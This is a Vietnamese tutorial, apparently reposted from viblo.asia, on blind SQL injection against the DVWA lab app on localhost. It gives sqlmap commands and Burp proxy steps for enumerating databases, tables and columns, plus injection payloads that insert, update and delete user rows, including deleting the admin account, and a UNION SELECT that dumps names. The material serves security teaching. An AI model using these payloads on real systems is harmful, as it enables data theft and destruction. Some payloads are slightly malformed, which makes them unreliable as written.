1. Tổng quan

Blind SQL Injection là một phương pháp thực hiện SQL Injection trong điều kiện các thông tin khai thác được không được trình bày trực tiếp trên nội dung phản hồi từ database. Blind SQL Injection dựa vào việc sử dụng các mệnh đề điều kiện để thực hiện suy luận thông tin cần khai thác. Cụ thể, Blind SQL Injection sử dụng chính các thông tin cần khai thác làm mệnh đề điều kiện (mệnh đề suy luận), và sử dụng các phương pháp khác nhau để “đánh dấu” trường hợp đúng/sai của mệnh đề đó. Căn cứ vào phương pháp “đánh dấu” trường hợp đúng/sai của mệnh đề quan hệ, ta chia ra hai cách chính thực hiện blind SQL Injection:

  • Dựa vào nội dung phản hồi (response-based)
  • Dựa vào độ trễ của thời gian phản hồi (time-based) Các phương pháp thực hiện blind SQL Injection có thể áp dụng cho các mô hình khác mà không gặp trở ngại nào, tuy nhiên chi phí thực hiện sẽ luôn cao hơn về mặt thời gian và số truy vấn cần thiết.

2. Thực hiện tấn công blind SQL Injection. Chèn, sửa, xóa dữ liệu.

a. Tìm kiếm lỗ hổng

Ví dụ tại trang web này, khi ta nhập id vào textField rồi bấm submit thì kết quả trả về firstname và lastname của user đó.

DWWA

Ta thử nhập:

1’ and 1=1 # thì được kết quả

Khi nhập

1’ and 1=0 #

Thì kết quả không được hiển thị

=> Có khả năng xuất hiện lỗ hổng bảo mật

Bây giờ chúng ta sẽ thực hiện khai thác database.

Công cụ sử dụng: Kali Linux, Burp suite, Sqlmap, Mozzila FireFox

Bước 1: Config proxy sang Manual Proxy sử dụng địa chỉ 127.0.0.1 và port 8080

Mozzila > Setting > Advanced > Network setting.

Chọn Manual Proxy Configuaration.

HTTP Proxy: 127.0.0.1 và Port: 8080 > OK.

Bước 2: Khởi động Burp Suite để bắt các resquest đến server từ cổng 127.0.0.1:8080

Bước 3: Quay lại trình duyệt FireFox, nhập id bất kì và bấm Submit

Bước 4: Quay lại Burp Suite, ta thấy Burp Suite đã bắt được request

Chúng ta lưu ý 2 dòng này:

Referer: http://localhost/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit
Cookie: security=low; PHPSESSID=9kb2ltm75rskjdud5b66uig8p7

Bước 5: Mở Terminal gõ lệnh:

Sqlmap -u “(1)” –cookie=”(2)” -dbs

Tại ngoặc kép thứ nhất ta thay thế (1) bằng url parameter Referer của request vừa bắt được ở Burp suite, ngoặc kép thứ hai ta thay thế (2) bằng param Cookie

Kết quả thu được:

Như vậy Database mà trang web sử dụng chính là dvwa. Chúng ta tiếp tục list ra những bảng của DB bằng lệnh:

Sqlmap -u “(1)” –cookie=”(2)” -D dvwa –-tables

thì được kết quả như sau: Database: dvwa bao gồm 2 bảng users và guestbook

Chúng ta list ra những cột của bảng users bằng lệnh:

Sqlmap -u “(1)” –cookie=”(2)” -D dvwa -T users --columns

Như vậy ta đã thu được thông tin về bảng users. Từ đây, ta có thể thao tác được với db thông qua việc injection các query thông qua ô textField ban đầu.

b. Tiến hành khai thác

Thử thêm dữ liệu người dùng

Nhập vào ô USER ID:

1’ INSERT INTO users (user_id, first_name, last_name) VALUES (“7”, “Cuong”, “Nguyen Thai”);

Thành công!

Sửa dữ liệu người dùng

Nhập vào ô USER ID:

1'; UPDATE users SET first_name = "TAI", last_name="CHAN DOI" WHERE user_id = "5";

Xóa dữ liệu người dùng

Mình thử xóa tài khoản ‘admin’ có user_id = 1

Nhập vào ô USER ID:

1’; DELETE FROM users WHERE user_id = “1”;

Thành công! Sau khi nhập lai id = 1 thì không còn hiện tài khoản admin nữa.

Hoặc sử dụng lệnh union select để hiển thị thông tin của bảng user

1' union select first_name,last_name from users;

3. Tổng kết

Với tính nghiêm trọng của các cuộc tấn công, tính dễ thực hiện một cuộc tấn công đã khiến cho SQL Injection một thời từng là hiểm họa nghiêm trọng đối với các giao dịch thương mại điện tử trên các ứng dụng Web được phát triển thiếu an toàn. Hiện nay, việc nghiên cứu SQL Injection đã có hệ thống và toàn diện hơn, mối nguy hiểm này đã giảm đi, nhưng số liệu thống kê vẫn cho thấy vấn đề này còn chưa được giải quyết triệt để.

Nguồn : viblo.asia


Để lại phản hồi

Please enter your comment!
Please enter your name here